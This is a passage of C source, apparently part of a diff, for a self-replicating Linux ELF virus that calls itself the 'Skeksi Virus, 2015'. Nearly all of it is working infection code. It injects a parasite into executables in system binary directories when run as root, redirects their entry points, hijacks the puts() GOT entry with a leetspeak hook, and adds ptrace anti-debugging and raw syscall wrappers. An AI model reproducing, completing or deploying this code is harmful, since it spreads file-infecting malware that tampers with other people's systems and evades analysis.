+ ); +} + +/* + * l33t sp34k version of puts. We infect PLTGOT + * entry for puts() of infected binaries. + */ + +int evil_puts(const char *string) +{ + char *s = (char *)string; + char new[1024]; + int index = 0; + int rnum = get_random_number(5); + if (rnum != 3) + goto normal; + + Memset(new, 0, 1024); + while (*s != '\0' && index < 1024) { + switch(_toupper(*s)) { + case 'I': + new[index++] = '1'; + break; + case 'E': + new[index++] = '3'; + break; + case 'S': + new[index++] = '5'; + break; + case 'T': + new[index++] = '7'; + break; + case 'O': + new[index++] = '0'; + break; + case 'A': + new[index++] = '4'; + break; + default: + new[index++] = *s; + break; + } + s++; + } + return _puts_nl(new); +normal: + return _puts_nl((char *)string); +} + +/* + * Heap areas are created by passing a NULL initialized + * pointer by reference. + */ +#define CHUNK_SIZE 256 +void * vx_malloc(size_t len, uint8_t **mem) +{ + if (*mem == NULL) { + *mem = _mmap(NULL, 0x200000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + if (*mem == MAP_FAILED) { + DEBUG_PRINT("malloc failed with mmap\n"); + Exit(-1); + } + } + *mem += CHUNK_SIZE; + return (void *)((char *)*mem - len); +} + +static inline void vx_free(uint8_t *mem) +{ + uintptr_t addr = (uintptr_t)mem; + if ((addr & 0x000000000fff) == 0) { + _munmap(mem, 0x200000); + return; + } + addr -= CHUNK_SIZE; + mem = (uint8_t *)addr; +} + +static inline int _rand(long *seed) // RAND_MAX assumed to be 32767 +{ + *seed = *seed * 1103515245 + 12345; + return (unsigned int)(*seed / 65536) & 32767; +} +/* + * We rely on ASLR to get our psuedo randomness, since RSP will be different + * at each execution. + */ +static inline uint32_t get_random_number(int max) +{ + struct timeval tv; + _gettimeofday(&tv, NULL); + return _rand(&tv.tv_usec) % max; +} + +static inline char * randomly_select_dir(char **dirs) +{ + return (char *)dirs[get_random_number(DIR_COUNT)]; +} + +char * full_path(char *exe, char *dir, uint8_t **heap) +{ + char *ptr = (char *)vx_malloc(_strlen(exe) + _strlen(dir) + 2, heap); + Memset(ptr, 0, _strlen(exe) + _strlen(dir)); + _memcpy(ptr, dir, _strlen(dir)); + ptr[_strlen(dir)] = '/'; + if (*exe == '.' && *(exe + 1) == '/') + exe += 2; + _memcpy(&ptr[_strlen(dir) + 1], exe, _strlen(exe)); + return ptr; +} + +#define JMPCODE_LEN 6 + +int inject_parasite(size_t psize, size_t paddingSize, elfbin_t *target, elfbin_t *self, ElfW(Addr) orig_entry_point) +{ + int ofd; + unsigned int c; + int i, t = 0, ehdr_size = sizeof(ElfW(Ehdr)); + unsigned char *mem = target->mem; + unsigned char *parasite = self->mem; + char *host = target->path, *protected; + struct stat st; + + _memcpy((struct stat *)&st, (struct stat *)&target->st, sizeof(struct stat)); + + /* eot is: + * end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize; + * end_of_text += p_hdr->p_filesz; + */ + extern int return_entry_start; + + if ((ofd = _open(TMP, O_CREAT|O_WRONLY|O_TRUNC, st.st_mode)) == -1) + return -1; + + /* + * Write first 64 bytes of original binary (The elf file header) + * [ehdr] + */ + if ((c = _write(ofd, mem, ehdr_size)) != ehdr_size) + return -1; + + /* + * Now inject the virus + * [ehdr][virus] + */ + void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code); + void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker); + int end_code_size = (int)((char *)f2 - (char *)f1); + Elf64_Addr end_code_addr = PIC_RESOLVE_ADDR(&end_code); + uint8_t jmp_patch[6] = {0x68, 0x0, 0x0, 0x0, 0x0, 0xc3}; + *(uint32_t *)&jmp_patch[1] = orig_entry_point; + /* + * Write parasite up until end_code() + */ + size_t initial_parasite_len = self->size - RODATA_PADDING; + initial_parasite_len -= end_code_size; + + if ((c = _write(ofd, parasite, initial_parasite_len)) != initial_parasite_len) { + return -1; + } + _write(ofd, jmp_patch, sizeof(jmp_patch)); + _write(ofd, ¶site[initial_parasite_len + sizeof(jmp_patch)], RODATA_PADDING + (end_code_size - sizeof(jmp_patch))); + + /* + * Seek to end of tracer.o + PAGE boundary + * [ehdr][virus][pad] + */ + uint32_t offset = sizeof(ElfW(Ehdr)) + paddingSize; + if ((c = _lseek(ofd, offset, SEEK_SET)) != offset) + return -1; + + /* + * Write the rest of the original binary + * [ehdr][virus][pad][phdrs][text][data][shdrs] + */ + mem += sizeof(Elf64_Ehdr); + + unsigned int final_length = st.st_size - (sizeof(ElfW(Ehdr))); // + target->ehdr->e_shnum * sizeof(Elf64_Shdr)); + if ((c = _write(ofd, mem, final_length)) != final_length) + return -1; + + _close(ofd); + + return 0; +} + +Elf64_Addr infect_elf_file(elfbin_t *self, elfbin_t *target) +{ + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + uint8_t *mem; + int fd; + int text_found = 0, i; + Elf64_Addr orig_entry_point; + Elf64_Addr origText; + Elf64_Addr new_base; + size_t parasiteSize; + size_t paddingSize; + struct stat st; + char *host = target->path; + long o_entry_offset; + /* + * Get size of parasite (self) + */ + parasiteSize = self->size; + paddingSize = PAGE_ALIGN_UP(parasiteSize); + + mem = target->mem; + *(uint32_t *)&mem[EI_PAD] = MAGIC_NUMBER; + ehdr = (Elf64_Ehdr *)target->ehdr; + phdr = (Elf64_Phdr *)target->phdr; + shdr = (Elf64_Shdr *)target->shdr; + orig_entry_point = ehdr->e_entry; + + phdr[0].p_offset += paddingSize; + phdr[1].p_offset += paddingSize; + + for (i = 0; i < ehdr->e_phnum; i++) { + if (text_found) + phdr[i].p_offset += paddingSize; + + if (phdr[i].p_type == PT_LOAD && phdr[i].p_flags == (PF_R|PF_X)) { + origText = phdr[i].p_vaddr; + phdr[i].p_vaddr -= paddingSize; + phdr[i].p_paddr -= paddingSize; + phdr[i].p_filesz += paddingSize; + phdr[i].p_memsz += paddingSize; + phdr[i].p_align = 0x1000; // this will allow infected bins to work with PaX :) + new_base = phdr[i].p_vaddr; + text_found = 1; + } else { + if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset && (phdr[i].p_flags & PF_W)) + phdr[i].p_align = 0x1000; // also to allow infected bins to work with PaX :) + } + + } + if (!text_found) { + DEBUG_PRINT("Error, unable to locate text segment in target executable: %s\n", target->path); + return -1; + } + ehdr->e_entry = origText - paddingSize + sizeof(ElfW(Ehdr)); + shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff]; + char *StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset]; + for (i = 0; i < ehdr->e_shnum; i++) { + /* + * This makes the Virus strip safe, as it will be contained within a section now. + * It also makes it so that the e_entry still points into the .text section which + * may set off less heuristics. + */ + if (!_strncmp((char *)&StringTable[shdr[i].sh_name], ".text", 5)) { + shdr[i].sh_offset = sizeof(ElfW(Ehdr)); // -= (uint32_t)paddingSize; + shdr[i].sh_addr = origText - paddingSize; + shdr[i].sh_addr += sizeof(ElfW(Ehdr)); + shdr[i].sh_size += self->size; + } + else + shdr[i].sh_offset += paddingSize; + + } + ehdr->e_shoff += paddingSize; + ehdr->e_phoff += paddingSize; + + inject_parasite(parasiteSize, paddingSize, target, self, orig_entry_point); + + return new_base; +} +/* + * Since our parasite exists of both a text and data segment + * we include the initial ELF file header and phdr in each parasite + * insertion. This lends itself well to being able to self-load by + * parsing our own program headers etc. + */ +int load_self(elfbin_t *elf) +{ + int i; + void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code); + void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker); + Elf64_Addr _start_addr = PIC_RESOLVE_ADDR(&_start); + elf->mem = (uint8_t *)_start_addr; + elf->size = (char *)&end_code - (char *)&_start; + elf->size += (int)((char *)f2 - (char *)f1); + //elf->size += 1024; // So we have .rodata included in parasite insertion + elf->size += RODATA_PADDING; //SKEKSI_BYTECODE_SIZE; + return 0; +} + +void unload_target(elfbin_t *elf) +{ + _munmap(elf->mem, elf->size); + _close(elf->fd); +} + +int load_target(const char *path, elfbin_t *elf) +{ + int i; + struct stat st; + elf->path = (char *)path; + int fd = _open(path, O_RDONLY, 0); + if (fd < 0) + return -1; + elf->fd = fd; + if (_fstat(fd, &st) < 0) + return -1; + elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + if (elf->mem == MAP_FAILED) + return -1; + elf->ehdr = (Elf64_Ehdr *)elf->mem; + elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff]; + elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff]; + for (i = 0; i < elf->ehdr->e_phnum; i++) { + switch(elf->phdr[i].p_type) { + case PT_LOAD: + switch(!!elf->phdr[i].p_offset) { + case 0: + elf->textVaddr = elf->phdr[i].p_vaddr; + elf->textSize = elf->phdr[i].p_memsz; + break; + case 1: + elf->dataVaddr = elf->phdr[i].p_vaddr; + elf->dataSize = elf->phdr[i].p_memsz; + elf->dataOff = elf->phdr[i].p_offset; + break; + } + break; + case PT_DYNAMIC: + elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset]; + break; + } + + } + elf->st = st; + elf->size = st.st_size; + return 0; +} + +int load_target_writeable(const char *path, elfbin_t *elf) +{ + int i; + struct stat st; + elf->path = (char *)path; + int fd = _open(path, O_RDWR, 0); + if (fd < 0) + return -1; + elf->fd = fd; + if (_fstat(fd, &st) < 0) + return -1; + elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + if (elf->mem == MAP_FAILED) + return -1; + elf->ehdr = (Elf64_Ehdr *)elf->mem; + elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff]; + elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff]; + for (i = 0; i < elf->ehdr->e_phnum; i++) { + switch(elf->phdr[i].p_type) { + case PT_LOAD: + switch(!!elf->phdr[i].p_offset) { + case 0: + elf->textVaddr = elf->phdr[i].p_vaddr; + elf->textSize = elf->phdr[i].p_memsz; + break; + case 1: + elf->dataVaddr = elf->phdr[i].p_vaddr; + elf->dataSize = elf->phdr[i].p_memsz; + elf->dataOff = elf->phdr[i].p_offset; + break; + } + break; + case PT_DYNAMIC: + elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset]; + break; + } + + } + elf->st = st; + elf->size = st.st_size; + return 0; +} +/* + * We hook puts() for l33t sp34k 0utput. We parse the phdr's dynamic segment + * directly so we can still infect programs that are stripped of section header + * tables. + */ +int infect_pltgot(elfbin_t *target, Elf64_Addr new_fn_addr) +{ + int i, j = 0, symindex = -1; + Elf64_Sym *symtab; + Elf64_Rela *jmprel; + Elf64_Dyn *dyn = target->dyn; + Elf64_Addr *gotentry, *pltgot; + char *strtab; + size_t strtab_size; + size_t jmprel_size; + Elf64_Addr gotaddr = 0; // INITIALIZE! + Elf64_Off gotoff = 0; + + for (i = 0; dyn[i].d_tag != DT_NULL; i++) { + switch(dyn[i].d_tag) { + case DT_SYMTAB: // relative to the text segment base + symtab = (Elf64_Sym *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr]; + break; + case DT_PLTGOT: // relative to the data segment base + pltgot = (long *)&target->mem[target->dataOff + (dyn[i].d_un.d_ptr - target->dataVaddr)]; + break; + case DT_STRTAB: // relative to the text segment base + strtab = (char *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr]; + break; + case DT_STRSZ: + strtab_size = (size_t)dyn[i].d_un.d_val; + break; + case DT_JMPREL: + jmprel = (Elf64_Rela *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr]; + break; + case DT_PLTRELSZ: + jmprel_size = (size_t)dyn[i].d_un.d_val; + break; + + } + } + if (symtab == NULL || pltgot == NULL) { + DEBUG_PRINT("Unable to locate symtab or pltgot\n"); + return -1; + } + + for (i = 0; symtab[i].st_name <= strtab_size; i++) { + if (!_strcmp(&strtab[symtab[i].st_name], "puts")) { + DEBUG_PRINT("puts symbol index: %d\n", i); + symindex = i; + break; + } + } + if (symindex == -1) { + DEBUG_PRINT("cannot find puts()\n"); + return -1; + } + for (i = 0; i < jmprel_size / sizeof(Elf64_Rela); i++) { + if (!_strcmp(&strtab[symtab[ELF64_R_SYM(jmprel[i].r_info)].st_name], "puts")) { + gotaddr = jmprel[i].r_offset; + gotoff = target->dataOff + (jmprel[i].r_offset - target->dataVaddr); + DEBUG_PRINT("gotaddr: %x gotoff: %x\n", gotaddr, gotoff); + break; + } + } + if (gotaddr == 0) { + DEBUG_PRINT("Couldn't find relocation entry for puts\n"); + return -1; + } + + gotentry = (Elf64_Addr *)&target->mem[gotoff]; + *gotentry = new_fn_addr; + + DEBUG_PRINT("patched GOT entry %x with address %x\n", gotaddr, new_fn_addr); + return 0; + +} +/* + * Must be ELF + * Must be ET_EXEC + * Must be dynamically linked + * Must not yet be infected + */ +int check_criteria(char *filename) +{ + int fd, dynamic, i, ret = 0; + struct stat st; + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + uint8_t mem[4096]; + uint32_t magic; + + fd = _open(filename, O_RDONLY, 0); + if (fd < 0) + return -1; + if (_read(fd, mem, 4096) < 0) + return -1; + _close(fd); + ehdr = (Elf64_Ehdr *)mem; + phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff]; + if(_memcmp("\x7f\x45\x4c\x46", mem, 4) != 0) + return -1; + magic = *(uint32_t *)((char *)&ehdr->e_ident[EI_PAD]); + if (magic == MAGIC_NUMBER) //already infected? Then skip this file + return -1; + if (ehdr->e_type != ET_EXEC) + return -1; + if (ehdr->e_machine != EM_X86_64) + return -1; + for (dynamic = 0, i = 0; i < ehdr->e_phnum; i++) + if (phdr[i].p_type == PT_DYNAMIC) + dynamic++; + if (!dynamic) + return -1; + return 0; + +} + +void do_main(struct bootstrap_data *bootstrap) +{ + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + uint8_t *mem, *heap = NULL; + long new_base, base_addr, evilputs_addr, evilputs_offset; + struct linux_dirent64 *d; + int bpos, fcount, dd, nread; + char *dir = NULL, **files, *fpath, dbuf[32768]; + struct stat st; + mode_t mode; + uint32_t rnum; + elfbin_t self, target; + int scan_count = DIR_COUNT; + int icount = 0; + int paddingSize; + /* + * NOTE: + * we can't use string literals because they will be + * stored in either .rodata or .data sections. + */ + char *dirs[4] = {"/sbin", "/usr/sbin", "/bin", "/usr/bin" }; + char cwd[2] = {'.', '\0'}; + +#if ANTIDEBUG + if (_ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { + _printf("!! Skeksi Virus, 2015 !!\n"); + Exit(-1); + } + _prctl(PR_SET_DUMPABLE, 0, 0, 0, 0); +#endif + +rescan: + dir = _getuid() != 0 ? cwd : randomly_select_dir((char **)dirs); + if (!_strcmp(dir, ".")) + scan_count = 1; + DEBUG_PRINT("Infecting files in directory: %s\n", dir); + + dd = _open(dir, O_RDONLY | O_DIRECTORY, 0); + if (dd < 0) { + DEBUG_PRINT("open failed\n"); + return; + } + + load_self(&self); + + for (;;) { + nread = _getdents64(dd, (struct linux_dirent64 *)dbuf, 32768); + if (nread < 0) { + DEBUG_PRINT("getdents64 failed\n"); + return; + } + if (nread == 0) + break; + for (fcount = 0, bpos = 0; bpos < nread; bpos++) { + d = (struct linux_dirent64 *) (dbuf + bpos); + bpos += d->d_reclen - 1; + if (!_strcmp(d->d_name, VIRUS_LAUNCHER_NAME)) + continue; + if (d->d_name[0] == '.') + continue; + if (check_criteria(fpath = full_path(d->d_name, dir, &heap)) < 0) + continue; + if (icount == 0) + goto infect; + rnum = get_random_number(10); + if (rnum != LUCKY_NUMBER) + continue; +infect: + load_target(fpath, &target); + new_base = infect_elf_file(&self, &target); + unload_target(&target); +#ifdef INFECT_PLTGOT + load_target_writeable(TMP, &target); + base_addr = PIC_RESOLVE_ADDR(&_start); + evilputs_addr = PIC_RESOLVE_ADDR(&evil_puts); + evilputs_offset = evilputs_addr - base_addr; + infect_pltgot(&target, new_base + evilputs_offset + sizeof(Elf64_Ehdr)); + unload_target(&target); +#endif + + _rename(TMP, fpath); + icount++; + } + + } + if (--scan_count > 0) { + _close(dd); + goto rescan; + } + + rnum = get_random_number(50); + if (rnum == LUCKY_NUMBER) + display_skeksi(); + +} + +int _getuid(void) +{ + unsigned long ret; + __asm__ volatile("mov $102, %rax\n" + "syscall"); + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +void Exit(long status) +{ + __asm__ volatile("mov %0, %%rdi\n" + "mov $60, %%rax\n" + "syscall" : : "r"(status)); +} + +long _open(const char *path, unsigned long flags, long mode) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $2, %%rax\n" + "syscall" : : "g"(path), "g"(flags), "g"(mode)); + asm ("mov %%rax, %0" : "=r"(ret)); + + return ret; +} + +int _close(unsigned int fd) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov $3, %%rax\n" + "syscall" : : "g"(fd)); + return (int)ret; +} + +int _read(long fd, char *buf, unsigned long len) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $0, %%rax\n" + "syscall" : : "g"(fd), "g"(buf), "g"(len)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +long _write(long fd, char *buf, unsigned long len) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $1, %%rax\n" + "syscall" : : "g"(fd), "g"(buf), "g"(len)); + asm("mov %%rax, %0" : "=r"(ret)); + return ret; +} + +int _fstat(long fd, void *buf) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov $5, %%rax\n" + "syscall" : : "g"(fd), "g"(buf)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _unlink(const char *path) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov $87, %%rax\n" + "syscall" ::"g"(path)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _rename(const char *old, const char *new) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov $82, %%rax\n" + "syscall" ::"g"(old),"g"(new)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +long _lseek(long fd, long offset, unsigned int whence) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $8, %%rax\n" + "syscall" : : "g"(fd), "g"(offset), "g"(whence)); + asm("mov %%rax, %0" : "=r"(ret)); + return ret; + +} + +int _fsync(int fd) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov $74, %%rax\n" + "syscall" : : "g"(fd)); + + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +void *_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off) +{ + long mmap_fd = fd; + unsigned long mmap_off = off; + unsigned long mmap_flags = flags; + unsigned long ret; + + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov %3, %%r10\n" + "mov %4, %%r8\n" + "mov %5, %%r9\n" + "mov $9, %%rax\n" + "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off)); + asm ("mov %%rax, %0" : "=r"(ret)); + return (void *)ret; +} + +int _munmap(void *addr, size_t len) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov $11, %%rax\n" + "syscall" :: "g"(addr), "g"(len)); + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _mprotect(void * addr, unsigned long len, int prot) +{ + unsigned long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $10, %%rax\n" + "syscall" : : "g"(addr), "g"(len), "g"(prot)); + asm("mov %%rax, %0" : "=r"(ret)); + + return (int)ret; +} + +long _ptrace(long request, long pid, void *addr, void *data) +{ + long ret; + + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov %3, %%r10\n" + "mov $101, %%rax\n" + "syscall" : : "g"(request), "g"(pid), "g"(addr), "g"(data)); + asm("mov %%rax, %0" : "=r"(ret)); + + return ret; +} + +int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) +{ + long ret; + + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov %3, %%r10\n" + "mov $157, %%rax\n" + "syscall\n" :: "g"(option), "g"(arg2), "g"(arg3), "g"(arg4), "g"(arg5)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _getdents64(unsigned int fd, struct linux_dirent64 *dirp, + unsigned int count) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $217, %%rax\n" + "syscall" :: "g"(fd), "g"(dirp), "g"(count)); + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _gettimeofday(struct timeval *tv, struct timezone *tz) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov $96, %%rax\n" + "syscall" :: "g"(tv), "g"(tz)); + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; + +} + +void _memcpy(void *dst, void *src, unsigned int len) +{ + int i; + unsigned char *s = (unsigned char *)src; + unsigned char *d = (unsigned char *)dst; + + for (i = 0; i < len; i++) { + *d = *s; + s++, d++; + } + +} + + +void Memset(void *mem, unsigned char byte, unsigned int len) +{ + unsigned char *p = (unsigned char *)mem; + int i = len; + while (i--) { + *p = byte; + p++; + } +} + +int _printf(char *fmt, ...) +{ + int in_p; + unsigned long dword; + unsigned int word; + char numbuf[26] = {0}; + __builtin_va_list alist; + + in_p; + __builtin_va_start((alist), (fmt)); + + in_p = 0; + while(*fmt) { + if (*fmt!='%' && !in_p) { + _write(1, fmt, 1); + in_p = 0; + } + else if (*fmt!='%') { + switch(*fmt) { + case 's': + dword = (unsigned long) __builtin_va_arg(alist, long); + _puts((char *)dword); + break; + case 'u': + word = (unsigned int) __builtin_va_arg(alist, int); + _puts(itoa(word, numbuf)); + break; + case 'd': + word = (unsigned int) __builtin_va_arg(alist, int); + _puts(itoa(word, numbuf)); + break; + case 'x': + dword = (unsigned long) __builtin_va_arg(alist, long); + _puts(itox(dword, numbuf)); + break; + default: + _write(1, fmt, 1); + break; + } + in_p = 0; + } + else { + in_p = 1; + } + fmt++; + } + return 1; +} +char * itoa(long x, char *t) +{ + int i; + int j; + + i = 0; + do + { + t[i] = (x % 10) + '0'; + x /= 10; + i++; + } while (x!=0); + + t[i] = 0; + + for (j=0; j < i / 2; j++) { + t[j] ^= t[i - j - 1]; + t[i - j - 1] ^= t[j]; + t[j] ^= t[i - j - 1]; + } + + return t; +} +char * itox(long x, char *t) +{ + int i; + int j; + + i = 0; + do + { + t[i] = (x % 16); + + /* char conversion */ + if (t[i] > 9) + t[i] = (t[i] - 10) + 'a'; + else + t[i] += '0'; + + x /= 16; + i++; + } while (x != 0); + + t[i] = 0; + + for (j=0; j < i / 2; j++) { + t[j] ^= t[i - j - 1]; + t[i - j - 1] ^= t[j]; + t[j] ^= t[i - j - 1]; + } + + return t; +} + +int _puts(char *str) +{ + _write(1, str, _strlen(str)); + _fsync(1); + + return 1; +} + +int _puts_nl(char *str) +{ + _write(1, str, _strlen(str)); + _write(1, "\n", 1); + _fsync(1); + + return 1; +} + +size_t _strlen(char *s) +{ + size_t sz; + + for (sz=0;s[sz];sz++); + return sz; +} + + + +char _toupper(char c) +{ + if( c >='a' && c <= 'z') + return (c = c +'A' - 'a'); + return c; + +} + + +int _strncmp(const char *s1, const char *s2, size_t n) +{ + for ( ; n > 0; s1++, s2++, --n) + if (*s1 != *s2) + return ((*(unsigned char *)s1 < *(unsigned char *)s2) ? -1 : +1); + else if (*s1 == '\0') + return 0; + return 0; +} + +int _strcmp(const char *s1, const char *s2) +{ + for ( ; *s1 == *s2; s1++, s2++) + if (*s1 == '\0') + return 0; + return ((*(unsigned char *)s1 < *(unsigned char *)s2) ? -1 : +1); +} + +int _memcmp(const void *s1, const void *s2, unsigned int n) +{ + unsigned char u1, u2; + + for ( ; n-- ; s1++, s2++) { + u1 = * (unsigned char *) s1; + u2 = * (unsigned char *) s2; + if ( u1 != u2) { + return (u1-u2); + } + } +} + + + + + +unsigned long get_rip(void) +{ + long ret; + __asm__ __volatile__ + ( + "call get_rip_label \n" + ".globl get_rip_label \n" + "get_rip_label: \n" + "pop %%rax \n" + "mov %%rax, %0" : "=r"(ret) + ); + + return ret; +} + + +/* + * end_code() gets over-written with a trampoline + * that jumps to the original entry point. + */ +void end_code() +{ + Exit(0); + +} + +void dummy_marker() +{ + __ASM__("nop"); +} + + +const unsigned char skeksi_banner[] = +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b" 